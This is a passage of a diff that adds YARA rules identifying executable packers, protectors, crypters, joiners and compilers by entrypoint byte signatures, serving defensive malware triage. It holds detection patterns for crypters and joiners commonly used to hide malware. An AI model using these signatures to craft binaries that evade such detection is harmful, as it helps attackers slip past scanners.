+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AVHRR_Graphics_format_
+{
+	meta:
+		description = "AVHRR Graphics format"
+	strings:
+		$0 = {D5 C8 00 01 00 03 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC1_
+{
+	meta:
+		description = "ASProtect v1.23 RC1"
+	strings:
+		$0 = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Yodas_Protector_102_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Yoda's Protector 1.02"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_12_
+{
+	meta:
+		description = "MEW 11 SE 1.2"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v095__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v0.95 -> tHE EGOiSTE"
+	strings:
+		$0 = {E9 D5 E4 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ZCode_Win32PE_Protector_101__Giuliano_Bertoletti_
+{
+	meta:
+		description = "ZCode Win32/PE Protector 1.01 -> Giuliano Bertoletti"
+	strings:
+		$0 = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_v040b_
+{
+	meta:
+		description = "PCShrink v0.40b"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_090_m_x_EXE_
+{
+	meta:
+		description = "aPack 0.90 -m -x [EXE]"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 00 00 8E C0 50 BE 00 00 33 FF FC B2 80 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyControl_v303_
+{
+	meta:
+		description = "CopyControl v3.03"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9}
+		$1 = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DJoin_v07_public_xor_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (xor encryption) -> drmist"
+	strings:
+		$0 = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+		$1 = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Mess_107_EXE_
+{
+	meta:
+		description = "Mess 1.07 [EXE]"
+	strings:
+		$0 = {4D 45 53 53 B9 FF FF 83 C4 04 F3 26 AC E3 46 EB 50 0D 0A 0D 0A 53 74 6F 6E 65 68 65 61 64 27 73 20 4D 45 53 53 20 76 31 2E 30 37 20 FE 20 52 65 67 67 65 64 20 74 6F 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Com4mail_v10_
+{
+	meta:
+		description = "Com4mail v1.0"
+	strings:
+		$0 = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v106b_
+{
+	meta:
+		description = "ASPack v1.06b"
+	strings:
+		$0 = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+		$1 = {90 90 90 75 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EPExE_Pack_V14_lite_final__6aHguT__gluk_
+{
+	meta:
+		description = "!EP(ExE Pack) V1.4 lite final -> 6aHguT & g-l-u-k"
+	strings:
+		$0 = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+		$1 = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12 D2 73 4A 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 D6 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 EB A0 B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 83 E8 02 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 58 FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 18 FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 03 FF FF FF 8A 06 46 33 C9 C0 E8 01 74 12 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E E9 E7 FE FF FF 5D 2B 7D 0C 89 7D FC 61 5D C3}
+		$2 = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ST_Protector_V15__Silent_Software_
+{
+	meta:
+		description = "ST Protector V1.5 -> Silent Software"
+	strings:
+		$0 = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+		$1 = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXE32Pack_v138_
+{
+	meta:
+		description = "EXE32Pack v1.38"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+		$1 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEtite_v12__Ian_Luck_
+{
+	meta:
+		description = "PEtite v1.2 -> Ian Luck"
+	strings:
+		$0 = {9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1987_or_Borland_Cpp_1991_
+{
+	meta:
+		description = "Turbo C 1987 or Borland C++ 1991"
+	strings:
+		$0 = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PPCPROTECT_V10__Alexey_Gorchakov_
+{
+	meta:
+		description = "PPC-PROTECT V1.0 -> Alexey Gorchakov"
+	strings:
+		$0 = {FF 5F 2D E9}
+	condition:
+		$0 at entrypoint
+}
+rule _TPAV_Cryptor_V11__msaha_dev_
+{
+	meta:
+		description = "TPAV Cryptor V1.1 -> msaha_dev"
+	strings:
+		$0 = {8D 85 08 FF FF FF 50 8D 85 C4 FE FF FF 50 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 8D 95 C0 FE FF FF 33 C0 E8 ?? ?? FF FF 8B 85 C0 FE FF FF E8 ?? ?? FF FF 50 6A 00 FF 15 2C ?? ?? 70}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_V20__UsAr_
+{
+	meta:
+		description = "yzpack V2.0 -> UsAr"
+	strings:
+		$0 = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+		$1 = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [LZMA] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSmasher_vxx_
+{
+	meta:
+		description = "ExeSmasher vx.x"
+	strings:
+		$0 = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v090_
+{
+	meta:
+		description = "tElock v0.90"
+	strings:
+		$0 = {E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _MASMTASM__sig4_
+{
+	meta:
+		description = "MASM/TASM - sig4"
+	strings:
+		$0 = {C3 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v02_
+{
+	meta:
+		description = "Krypton v0.2"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+		$1 = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeSplitter_12__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.2 -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE}
+		$1 = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Turbo_Pascal_v60_Unit_
+{
+	meta:
+		description = "Turbo Pascal v6.0 Unit"
+	strings:
+		$0 = {54 50 55 39 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Cpp_30_EXE_
+{
+	meta:
+		description = "Turbo C++ 3.0 [EXE]"
+	strings:
+		$0 = {BA 00 00 2E 89 16 00 00 B4 30 00 00 8B 2E 02 00 8B 1E 2C 00 8E DA A3 00 00 8C 06 00 00 89 1E 00 00 89 2E 00 00 E8 00 01 C4 3E 00 00 8B C7 8B D8 B9 FF 7F FC F2 AE E3 00 43 26 38 05 75 F6 80 CD 80 F7 D9 89 0E 00 00 B9 00 00 D3 E3 83 C3 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_029__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 029) -> GlOFF"
+	strings:
+		$0 = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00}
+		$1 = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESPin_13__Cyberbob_h_
+{
+	meta:
+		description = "PESPin 1.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V307__SetiSoft_Team__20090603_
+{
+	meta:
+		description = "Private exe Protector V3.07 -> SetiSoft Team * 20090603"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20 00 00 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Spirit_15_
+{
+	meta:
+		description = "Spirit 1.5"
+	strings:
+		$0 = {E9 00 00 5B 24 55 50 44 FB 32 2E 31 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+		$1 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+		$2 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+		$3 = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+		$4 = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+		$5 = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+		$6 = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+		$7 = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+		$8 = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+		$9 = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$10 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85}
+		$11 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$12 = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9 at entrypoint or $10 at entrypoint or $11 at entrypoint or $12 at entrypoint
+}
+rule _PeStubOEP_v1x_
+{
+	meta:
+		description = "PeStubOEP v1.x"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 FF E0}
+		$1 = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+		$2 = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+		$3 = {B8 ?? ?? ?? 00 FF E0}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3
+}
+rule _Microsoft_Visual_Cpp_7_
+{
+	meta:
+		description = "Microsoft Visual C++ 7"
+	strings:
+		$0 = {41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00}
+		$1 = {41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_640__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) 6.4.0 -> Safenet"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_5_
+{
+	meta:
+		description = "kryptor 5"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector__vcasm_
+{
+	meta:
+		description = "VProtector -> vcasm"
+	strings:
+		$0 = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
